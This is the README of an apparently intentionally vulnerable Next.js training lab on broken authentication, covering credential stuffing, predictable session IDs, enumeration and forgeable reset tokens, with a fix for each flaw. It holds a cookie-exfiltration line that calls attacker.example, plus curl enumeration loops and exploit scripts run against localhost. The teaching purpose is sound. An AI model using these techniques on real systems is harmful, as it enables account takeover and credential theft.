Skip to content

sereyvathanatum/software-security-lab1

Repository files navigation

Session 5 — Broken Authentication & Session Management Lab

OWASP Top 10 — A01 (2021: A07) — Identification & Authentication Failures

This application is intentionally vulnerable. Do NOT deploy it. Run only on localhost.

You are the security engineer who just inherited a Next.js app written by a junior developer in a hurry. You will:

  1. Run the app.
  2. Exploit each vulnerability with concrete attacks (curl, browser DevTools, scripts).
  3. Patch the code yourself, guided by hints.
  4. Verify the exploit no longer works.

Each lab is self-contained (~10–15 min). You can do them in order or jump around, but Lab 1 and Lab 2 are the warm-up.


Table of contents


Setup

Requirements

  • Node.js 20.x (use nvm install 20 if missing)
  • npm (ships with Node.js — no extra install needed)
  • sqlite3 CLI (for Lab 1) — sudo apt install sqlite3 on Ubuntu/WSL
  • curl (Lab 5, 6, 7, 9)
  • A modern browser with DevTools (Chrome/Firefox)

Install & run

npm install
cp .env.example .env
npx prisma migrate dev --name init
npm run seed
npm run dev

Open http://localhost:3000.

You should see a red banner: INTENTIONALLY VULNERABLE APP — DO NOT DEPLOY.

Demo accounts

Username Password Role
admin admin123 admin
alice password user
bob letmein user
charlie qwerty user
dave 123456 user
eve iloveyou user
frank monkey user
grace dragon user

Resetting between labs

If you break the DB or want to start fresh:

rm prisma/dev.db
npx prisma migrate dev --name init
npm run seed

After any prisma migrate dev, Ctrl-C and restart npm run dev. The Next dev server caches the generated @prisma/client and will throw Unknown argument … errors on new columns until you restart it. This bites you in Lab 7 and Lab 9.


Lab 1 — Plaintext password storage

Vulnerability: Passwords are stored in the database as plain text. If the database leaks (backup, SQL injection, stolen disk, insider), every account is compromised everywhere those users reused that password.

Theory (read first)

A password should never be stored. Only its salted hash should — using a slow algorithm (bcrypt, scrypt, Argon2) so an attacker who steals the hash file still has to spend years brute-forcing each password individually. Fast hashes like MD5/SHA-256 are not acceptable for passwords; modern GPUs do billions of those per second.

Exploit

You have access to the database file (simulating a backup leak):

sqlite3 prisma/dev.db "SELECT username, password FROM User;"

Expected output:

admin|admin123
alice|password
bob|letmein
charlie|qwerty
...

You now have every account's password in cleartext. Take a screenshot for your report.

Where the bug lives

Patch tip

  1. Add bcrypt (already in dependencies). Don't forget import bcrypt from "bcrypt"; at the top of each file you change.
  2. In register/route.ts, replace storing password with await bcrypt.hash(password, 12).
  3. In auth.ts, replace u.password !== password with await bcrypt.compare(password, u.password).
  4. Rewrite the seed to hash too (add the import there as well).

Hint: the bcrypt npm package emits hashes starting with $2b$12$... (modern bcrypt revision). Older write-ups show $2a$... — both are valid and bcrypt.compare accepts either. Cost 12 is a good default for 2025+ hardware.

Verify

After patching, re-seed and try logging in as alice. Then:

sqlite3 prisma/dev.db "SELECT username, password FROM User;"

You should see $2b$12$... strings, not password. ✅


Lab 2 — Credential stuffing (no rate limit)

Vulnerability: /api/login accepts unlimited attempts per second from one IP. An attacker armed with leaked credentials from another breach can try them all here in minutes.

Theory

Credential stuffing is the #1 cause of account takeover on the modern web. Users reuse passwords; attackers get a leak from site X (e.g. a forum) and replay those email/password pairs against site Y (your bank). Defense: detect velocity (rate limit), require CAPTCHA on repeat failures, and flag impossible-travel logins.

Exploit

The app ships a small wordlist (data/rockyou-mini.txt, top ~120 leaked passwords) and an attack script.

npm run exploit:stuff -- alice

You should see dots, then within a few seconds:

  HIT after 2 attempts in 0.12s
     alice : password

Try other users:

npm run exploit:stuff -- dave    # 123456
npm run exploit:stuff -- frank   # monkey
npm run exploit:stuff -- admin   # admin123

Where the bug lives

Patch tip

Several layers, defense-in-depth:

  1. Per-IP rate limit: track (ip, timestamp[]) in memory or Redis. Block when the limit is exceeded in a 60s window.
  2. Per-account lockout: after a few failures on the same username, force a delay or CAPTCHA. This matters: if you only rate-limit by IP and you set the limit to 5, the demo wordlist still cracks alice on attempt 2 (her seed password password is the second entry). Per-username limiting closes that.
  3. Exponential backoff: each failed attempt sleeps 2^n * 100ms server-side.

Minimal in-memory limiter that keys on both IP and username, counting only failures (so a user who logs in cleanly is never punished):

const failures = new Map<string, number[]>();
function blocked(key: string, max: number, windowMs = 60_000) {
  const now = Date.now();
  const arr = (failures.get(key) ?? []).filter((t) => now - t < windowMs);
  failures.set(key, arr);
  return arr.length >= max;
}
function recordFailure(key: string) {
  failures.get(key)!.push(Date.now());
}

// in POST handler, BEFORE verifyCredentials:
const ip = req.headers.get("x-forwarded-for")?.split(",")[0] ?? req.ip ?? "local";
if (blocked(`ip:${ip}`, 5) || blocked(`user:${username}`, 1)) {
  return NextResponse.json({ error: "too many attempts" }, { status: 429 });
}
// ... after verifyCredentials, on the failure branches:
recordFailure(`ip:${ip}`); recordFailure(`user:${username}`);

Why so strict per-user (max=1)? alice's seed password is literally password, which is line 2 of data/rockyou-mini.txt. Anything looser than "one wrong guess and you're paused" still cracks her on attempt 2. In production you'd loosen this and escalate to CAPTCHA after the first failure rather than hard-block.

Use the client IP (req.headers.get("x-forwarded-for") ?? req.ip). For production: use @upstash/ratelimit with Redis.

Verify

npm run exploit:stuff -- admin

After a few attempts the exploit script prints [stuff] rate-limited (HTTP 429) and exits without finding the password. ✅ (If you only see dots and a final no hit., your script is older — pull the latest scripts/credential-stuffing.ts, which surfaces 429 explicitly.)


Lab 3 — Predictable session IDs

Vulnerability: Session ID = base64(userId + "." + Date.now()). Knowing approximately when a user logged in plus their userId, you can brute-force the session id in milliseconds.

Theory

Session IDs must be cryptographically random, at least 128 bits of entropy. Common mistakes: using user IDs, timestamps, sequential counters, or Math.random() (which is not secure). The right primitive in Node is crypto.randomBytes(32).

Exploit

  1. Log alice in via the UI (so a session row exists). Note the time.
  2. From a different terminal (no cookies), run:
npm run exploit:hijack

The script auto-discovers alice's user id from the seeded DB (id 2) and scans the last 60 s by default. Override with npm run exploit:hijack -- <userId> <windowMs> if you want a different account or window.

You should see:

  HIT after 18234 tries
     sid=Mi4xNzMx...
     user={"id":2,"username":"alice","email":"alice@demo.local",...}

You just stole alice's session without her password.

Where the bug lives

Patch tip

import { randomBytes } from "node:crypto";
export function makeSessionId(): string {
  return randomBytes(32).toString("base64url"); // 256 bits, URL-safe
}

Also: stop encoding userId into the id. The server-side Session row already maps id→userId.

Verify

Re-run the hijack script after patching. It should time out without a hit. ✅


Lab 4 — Session ID exposed in URL

Vulnerability: /api/me accepts ?sid=... as an alternative to the cookie. Session ids in URLs end up in browser history, server logs, the Referer header sent to every third-party (Google Analytics, ad networks, fonts), and shared screenshots.

Theory

Session tokens belong in Set-Cookie headers only. Placing them anywhere else (URL, localStorage exposed to XSS, response body) increases the leak surface dramatically. URL-based session ids are explicitly called out in OWASP ASVS V3.4.

Exploit

  1. Log in as alice. Open DevTools → Application → Cookies → copy the sid value.
  2. Open a private/incognito window (no cookies).
  3. Paste this URL: http://localhost:3000/dashboard?sid=<paste-here>
  4. You are alice. The session was bootstrapped from the URL.

In a real attack, this URL gets shared via chat, email, or auto-leaks via the Referer header. Open DevTools → Network and reload the page; observe the Referer if you click any external link.

Where the bug lives

Patch tip

Delete the querySid branch in me/route.ts. Remove the sid URL handling in dashboard/page.tsx. Sessions only via the cookie.

Verify

Visit /dashboard?sid=anything in incognito → should see "Not logged in". ✅


Lab 5 — Cookie missing security flags

Vulnerability: The session cookie is set with Path=/ only. No HttpOnly, no Secure, no SameSite. This means: JavaScript can read it (any XSS = full takeover), it travels over HTTP if the site is ever served unencrypted, and it's sent on cross-site requests (CSRF).

Theory

Three flags every session cookie needs:

  • HttpOnly — JS cannot read it via document.cookie. Mitigates XSS-based session theft.
  • Secure — only sent over HTTPS. Prevents network sniffing.
  • SameSite=Lax or Strict — not sent on cross-site requests. Mitigates CSRF.

Exploit

  1. Log in as alice.
  2. Open DevTools console. Type:
document.cookie;

You see something like "sid=Mi4xNzMx...". A real XSS bug anywhere on the site could exfiltrate this in one line:

fetch("https://attacker.example/?c=" + document.cookie);
  1. Inspect the cookie in DevTools → Application → Cookies. Note: HttpOnly column = unchecked. Secure = unchecked. SameSite = empty.

Where the bug lives

  • lib/session.tscookies().set(SESSION_COOKIE, sid, { path: "/" }).

Patch tip

cookies().set(SESSION_COOKIE, sid, {
  path: "/",
  httpOnly: true,
  sameSite: "lax",
  secure: process.env.NODE_ENV === "production",
  maxAge: 60 * 60 * 8, // 8 hours
});

Verify

After patching, run document.cookie in DevTools — sid should NOT appear. The DevTools cookie inspector should show HttpOnly = ✓. ✅


Lab 6 — Username enumeration

Vulnerability: /api/login returns different error messages for "user does not exist" vs "wrong password". Attackers can confirm which usernames are valid before running a credential-stuffing attack — saving them effort and improving hit rate.

Theory

Authentication errors must be uniform: same wording, same HTTP status, same response time. Otherwise side channels (text, status, timing) leak account existence. Also applies to: registration ("email already taken"), reset ("no such email"), and any other endpoint touching the user table.

Exploit

curl -s -X POST http://localhost:3000/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"alice","password":"wrong"}'
# {"error":"wrong password"}

curl -s -X POST http://localhost:3000/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"nobody","password":"wrong"}'
# {"error":"user not found"}

Two different responses. Now you know alice is real and nobody is not.

A scripted enumerator could probe a list of guessed usernames in seconds. Try:

for u in alice bob charlie zoe nobody admin frank gandalf; do
  echo -n "$u: "
  curl -s -X POST http://localhost:3000/api/login \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$u\",\"password\":\"x\"}" | grep -o 'user not found\|wrong password'
done

Where the bug lives

Patch tip

Collapse to one error message and one status code:

if (result.kind !== "ok") {
  return NextResponse.json({ error: "invalid credentials" }, { status: 401 });
}

For timing: even when the user doesn't exist, run a dummy bcrypt.compare(password, DUMMY_HASH) so response time matches.

Verify

Both invalid-username and wrong-password requests return identical JSON and identical status. ✅


Lab 7 — No session expiry / fixation

Vulnerability: Sessions never expire. There is no rotation on login. An attacker who learns a session id once can use it forever — even after the victim "logs out" if the cookie was captured.

Theory

Two related bugs:

  • No expiry: long-lived sessions multiply leak impact. Use sliding (idle) and absolute expiry.
  • Session fixation: if the server doesn't issue a new session id on login, an attacker who pre-set a known sid in the victim's browser (via a phishing link) is now logged in as the victim.

Exploit (long-lived session walk-through)

  1. Log alice in via the UI. Open DevTools → Application → Cookies and copy the sid value.

  2. Demonstrate longevity from a separate terminal (no browser cookies):

# Paste alice's sid here:
SID="paste-here"
curl -s "http://localhost:3000/api/me" -H "Cookie: sid=$SID"
# alice's data — even minutes/hours later
  1. There is no expiry: that cookie keeps working until the Session row is deleted by hand. In a real attack, anyone who steals the cookie once (XSS, shared machine, captured backup) owns the account indefinitely.

  2. Session fixation companion bug: because createSession doesn't rotate the id on login, an attacker who can plant a known sid in the victim's browser before they log in (via Lab 4's ?sid= query bug, for instance) ends up sharing the victim's logged-in session.

Where the bug lives

Patch tip

  1. Add expiresAt DateTime to Session model in prisma/schema.prisma.
  2. Run the migration. Because expiresAt is required and old rows have no value, you must clear existing sessions first:
    sqlite3 prisma/dev.db "DELETE FROM Session;"
    npx prisma migrate dev --name session_expiry
    Then restart the dev server (Ctrl-C, npm run dev again) so it picks up the regenerated Prisma client — otherwise the next login throws Unknown argument 'expiresAt'.
  3. In createSession, compute expiresAt = new Date(Date.now() + 8*60*60*1000) and pass it on db.session.create. Set cookie maxAge to the same value (in seconds).
  4. In getSessionUser, reject sessions where expiresAt < new Date() and delete the row.
  5. Rotate on login: at the top of createSession, await db.session.deleteMany({ where: { userId } }) so each login gets a fresh id.

Verify

Set the system clock forward (or set maxAge to 10s for testing) — old cookie should be rejected. ✅


Lab 8 — Weak password policy

Vulnerability: Registration accepts any password — including a, 1, or empty.

Theory

NIST SP 800-63B (current guidance):

  • Minimum 8 characters (12+ recommended).
  • Allow up to at least 64.
  • Allow all printable ASCII (and Unicode).
  • Block known-leaked passwords via a list (e.g. HaveIBeenPwned k-anonymity API).
  • Do NOT force composition rules ("must have uppercase + symbol") — they harm usability without improving entropy meaningfully.

Exploit

Create a trivially weak account:

curl -s -X POST http://localhost:3000/api/register \
  -H 'Content-Type: application/json' \
  -d '{"username":"weakling","email":"w@x.y","password":"a"}'
# {"ok":true,"id":...}

Confirm you can log in with a:

curl -s -X POST http://localhost:3000/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"weakling","password":"a"}' -i | grep -i set-cookie

Where the bug lives

Patch tip

if (password.length < 12) {
  return NextResponse.json({ error: "password too short" }, { status: 400 });
}
const blocklist = new Set(["password", "qwerty", "letmein" /*...*/]);
if (blocklist.has(password.toLowerCase())) {
  return NextResponse.json(
    { error: "password is too common" },
    { status: 400 },
  );
}

For real apps: use zxcvbn to score strength, or call HIBP's range API.

Verify

curl ... -d '{"...":"...","password":"a"}'   # rejected
curl ... -d '{"...":"...","password":"correct horse battery staple"}'  # accepted


Lab 9 — Forgeable password reset token

Vulnerability: The reset token is base64(email). Anyone who knows a victim's email can reset their password.

Theory

Reset tokens must be:

  1. Randomcrypto.randomBytes(32), not derived from anything.
  2. Single-use — invalidate after redemption.
  3. Time-limited — expire in 15–60 minutes.
  4. Sent only via email — never returned in the HTTP response, never in URL params shared by the user.
  5. Stored hashed — like passwords, the DB row holds a hash so a DB leak doesn't reveal pending tokens.

Exploit

npm run exploit:reset -- admin@demo.local pwned123

Output:

[reset] forged token for admin@demo.local: YWRtaW5AZGVtby5sb2NhbA==
{ ok: true }
now log in with new password: pwned123

Now log in as admin / pwned123. You own the admin account.

Where the bug lives

Patch tip

  1. Add a PasswordReset model: id, userId, tokenHash, expiresAt, usedAt. Run npx prisma migrate dev --name password_reset and restart the dev server (see Lab 7's note).
  2. On request: generate crypto.randomBytes(32).toString("base64url"). Store its SHA-256 hash. Email the plaintext (in the lab: print to server console — not the HTTP response).
  3. On submit: hash incoming token, look up unexpired/unused row, mark usedAt, update password (use bcrypt — Lab 1!). Consider also db.session.deleteMany({ where: { userId } }) so old sessions die.
  4. Always respond 200 OK to the request endpoint regardless of whether the email exists (otherwise: enumeration, see Lab 6).
  5. Don't forget the UI: app/reset/page.tsx reads d.token from the request response. Once the API stops returning the token, the page's "fill token automatically" step is dead — either remove that line or rely on the token printed to the dev-server console.

Verify

The Lab 8 patch (≥12-char password) rejects the request before the token check, so use a long replacement password to actually exercise the Lab 9 path:

npm run exploit:reset -- admin@demo.local "Pwn3dByForgery!2025"
# should fail: "bad or expired token" / "invalid"


Lab 10 — Bonus: add Multi-Factor Authentication (TOTP)

Goal: layer Time-based One-Time Passwords (RFC 6238 / Google Authenticator) on top of password login.

Theory

MFA defeats credential stuffing, phishing of static passwords, and DB leaks. TOTP works as follows:

  1. Server generates a 160-bit shared secret per user, displays it as a QR code.
  2. User scans with Google Authenticator / Aegis / 1Password.
  3. App computes HMAC-SHA1(secret, current_30s_window) → 6-digit code.
  4. On login, after password check, server requires the 6-digit code.

Hands-on

Dependencies (speakeasy and qrcode) are already in package.json.

Steps you implement

  1. Add a route app/api/mfa/setup/route.ts (POST — state-changing requests must not use GET). Authenticated via getSessionUser(). Generates speakeasy.generateSecret({ name: "Ses5 Demo (" + user.username + ")" }), saves secret.base32 to User.totpSecret, returns the otpauth_url and a QR data-URL via qrcode.toDataURL(url).

  2. Add a UI page app/mfa/page.tsx that calls the setup route and shows the QR.

  3. Modify login to require a totp field if user.totpSecret is set. Don't forget to add the 6-digit code input to app/login/page.tsx and include it in the request body — otherwise login will always fail with "invalid 2fa" after enrollment.

    import speakeasy from "speakeasy";
    if (user.totpSecret) {
      const ok = speakeasy.totp.verify({
        secret: user.totpSecret,
        encoding: "base32",
        token: body.totp,
        window: 1, // tolerate ±30s clock drift
      });
      if (!ok)
        return NextResponse.json({ error: "invalid 2fa" }, { status: 401 });
    }
  4. Test: enroll alice, scan with Google Authenticator, log out, log back in with password + 6-digit code.

  5. Stretch goals:

    • Generate 10 single-use recovery codes at enrollment, hash & store them.
    • Rate-limit the TOTP verification to prevent brute force (only ~1M codes total).
    • Add WebAuthn / passkeys as a stronger alternative.

Final verification

Once you've completed labs 1–9, run the full exploit suite:

npm run test:exploits

Every test should now fail to find a vulnerability (non-zero exit code on each). If any still succeeds, that lab isn't fully patched — go back and tighten it.

Submit:

  • Your patched lib/, app/api/, and prisma/schema.prisma.
  • LAB_NOTES.md with one paragraph per lab: what you exploited, what you patched, screenshot of "before" and "after".

Glossary

  • Credential stuffing — replaying email/password pairs leaked from one site against many others.
  • Session fixation — attacker pre-sets a session id, victim logs in under it, attacker is now logged in.
  • Session hijacking — attacker steals a victim's existing session id (cookie theft, predictable id, sniffing).
  • Username enumeration — using server response differences to discover which usernames exist.
  • TOTP — Time-based One-Time Password (RFC 6238). The 6-digit code in Google Authenticator.
  • HttpOnly / Secure / SameSite — three cookie flags that mitigate XSS, network sniffing, and CSRF respectively.
  • bcrypt / Argon2 / scrypt — slow password hashes designed to resist brute force.
  • Rate limiting — capping the number of requests per (ip, user, endpoint) per time window.

Further reading

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors